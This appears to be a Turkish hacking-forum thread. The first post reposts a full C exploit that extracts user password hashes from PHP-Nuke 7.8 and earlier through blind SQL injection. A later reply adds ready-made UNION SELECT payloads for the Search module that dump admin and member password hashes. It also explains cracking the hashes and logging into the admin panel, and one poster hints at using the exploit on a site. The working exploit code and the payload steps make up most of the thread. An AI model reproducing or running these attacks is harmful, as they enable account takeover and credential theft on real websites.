PHP-Nuke <=7.8 SQL injection exploit

erencan_14

Banned
Katılım
9 Nis 2006
Mesajlar
107
Reaction score
0
Puanları
0
Konum
CaNSuLaRDa!
Kod:
/***********************************************
* PHP-Nuke <=7.8 SQL injection exploit
* need MySQL > 4.0
* (c)oded by 1dt.w0lf
* RST/GHC
* http://rst.void.ru
* http://ghc.ru
************************************************/
// tested on 7.8

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <regex.h>

#define START 47
#define END   103
#define SZ    1024
#define PORT  80
#define PREFIX "nuke_"
#define SQL "name=PHP-Nuke%%207.8%%20Exploit'%%20UNION%%20SELECT%%201,1%%20FROM%%20%susers%%20WHERE%%20user_id=%d%%20AND%%20ascii(substring(user_password,%d,1))%c%d/*"


main (int argc, char **argv) {
 int pos;
 int res = 0;
 char result[33];
	
 if(argc<4)
  {
  printf("Usage %s [host] [/folder/] [user_id]\n",argv[0]);
  exit(1);
  }
 
 printf("PHP-Nuke <= 7.8 SQL injection exploit\n"
         "-------------------------------------\n"
         "[~] Host : %s\n[~] Folder: %s\n"
         "[!] Searching password for user with id : %d\n"
         "[!] Please wait...\n",argv[1],argv[2],atoi(argv[3]));  
 for(pos=1;pos<33;pos++)
  {	 
  found(argv[1],argv[2],atoi(argv[3]),START,END,pos,&res);  
  sprintf(result+pos-1,"%c",res);
  if(res == 0) { break; }
  }
 result[33] = '\0';
 if(strlen(result)>0) printf("[+] Password: %s\n",result);
 else printf("[-] Password not found\n");
 exit (0);
}

int found(char * host, char * folder, int user_id, int min, int max, int pos, int * res)
 {
 int i;
 int sr = (max - ((max-min)/2));
 if( (max-min) < 6 ) { i=(brute(host,folder,user_id,min,max,pos)); *res = i; }
 else if( (check(host,folder,pos,'>',sr,user_id)) == 1 ) { found(host,folder,user_id,sr,max,pos,res); }
 else { found(host,folder,user_id,min,sr,pos,res);	} 
 return 0;
 }

int brute(char * host, char * folder, int user_id, int min, int max, int pos)
 {	 
 int i;
 for(i=min-1;i<max+1;i++)
  {
  if((check(host,folder,pos,'=',i, user_id)) == 1) { return i; }
  }
 return 0;  
 }	 
 
int check(char * host, char * folder, int pos, int chk, int test, int user_id)
 {
 char req[SZ]; 
 char ans[SZ];
 char sql[SZ];
 int sock;
 struct hostent *hp;
 struct sockaddr_in sin;
 regex_t re;
 char *pattern = "Sorry, this Module isn't active!";
 
 if( (sock = socket (AF_INET, SOCK_STREAM, 0)) < 0 )
  {
   printf("[ ERROR ] Can't create socket!\n");
   exit(1);
  } 
  
 if( (regcomp( &re, pattern, REG_EXTENDED )) != 0 )
  {
  printf("[ ERROR ] REG ERROR!\n");
  exit(1);
  }
  
 bzero(&sin, sizeof(sin));
 sin.sin_family = AF_INET;
 sin.sin_port   = htons(PORT);
 hp = gethostbyname (host);
  
 memcpy ((char *)&sin.sin_addr,hp->h_addr,hp->h_length);
 connect (sock, (struct sockaddr *)&sin, sizeof(sin)); 
  
 bzero(req,sizeof(req));
 bzero(ans,sizeof(ans));
 bzero(sql,sizeof(sql));	 
	 
 snprintf(sql,SZ-1,SQL,PREFIX,user_id,pos,chk,test);	 
 
 snprintf(req,SZ-1,"POST %smodules.php HTTP/1.0\n"
                  "Host: %s\n"
                  "Content-Type: application/x-www-form-urlencoded\n"
                  "Content-Length: %d\n\n"
                  "%s\n\n\n",
                  folder,
				  host,
                  strlen(sql),
                  sql);
 
 write(sock, req, strlen(req));

 while( (read(sock, &ans, SZ-1)) > 0 )
  {
  if( (regexec( &re, ans, 0, NULL, 0)) == 0) { return 0; }
  bzero(ans,sizeof(ans));
  } 
 close (sock); 
 return 1;	 
 }

// milw0rm.com [2005-09-16]



ALINTIDIR
 
Kusura bakmayın böyle eğitim olmaz bilen bilmeyen yazıyor milw0rm diye biryer var kopyala yapıştır la olmaz bu iş tr ye çeviriceksin örnek bu exploit php nuke 7.8 sql injeksiyonu yapıyor diyeceksin......eski veya yeni bir açık olup olmadığını yazacaksın arkadaşlar hepinize saygım var çok biliyormuş gibi olmayayım ama yanlış bir yol elin oğlu öyle tutturmuş gidiyor diye bizde böyle yapmayalım herkes öğrensin kanında türklük varsa yanlış yapmaz zaten ...................

Hedeflerim belli hpg-online.com
turkiyegercegi.net>>org
ALLAH YOLUMUZU AÇIK ETSİN
 
bu sitede kimsenin açıklama gibi bir derdi yok galiba
 
Hocam bunu galiba siteye yedirecez..!yada ...????
 
"name=PHP-Nuke%%207.8%%20Exploit'%%20UNION%%20SELECT%%201,1%%20FROM%%20%susers%%20WHERE%%20user_id=%d%%20AND%%20ascii(substring(user_password,%d,1))%c%d/*"

2005 yılında çıkan bir açık ve kapandı bu derlenmemiş bir exploit derlenmesi gerekiyor ondan sonra kullanılabilir. Search modulünü kullanır.
s%')/**/UNION/**/SELECT/**/0,aid,0,pwd,0,0,0,0,0,0/**/FROM/**/nuke_authors/*
p0hh0nsee%') UNION ALL SELECT 1,2,aid,pwd,5,6,7,8,9,10 FROM nuke_authors/*
s%') UNION SELECT 0,user_id,username,user_password,0,0,0,0,0,0 FROM nuke_users/*

modules.php?name=Search şeklinde aratıyoruz

arama kısmına yukardaki kodları yapıştırıyoruz. Eğer kapatılmadıysa size alt tarafta admin şifrelerini veriyor en sondaki ise kayıtlı üyelerin hashlarını yani md5 kriptolu şifrelerini veriyor.
Bu şifreleri şifre kıran web sitelerinde kırdıktan sonra admin paneline bağlanıyorsunuz.
Hash aldıkdan sonra admin olan exploit te var. Bu konuda iskorpitx in çektiği vidooları izleyenleriniz olmuştur mutlaka.
Genelde security sitelerinde yayınlanan exploitler copy paste yapılıyor mantığından ne işe yaradığından bahsedilmiyor. 2005 yılına ait bir açık hala var ama büyük bölümü kapatıldı. 5ay öne insert into açığı çıktı.
 
Bu açık yeni deilki ben bunu geçen yılda görmüşüm isterseniz deneyin yani bana inanmıyosanız modül ya bulunamıyo yada hackin attemp :D
 
Geri
Üst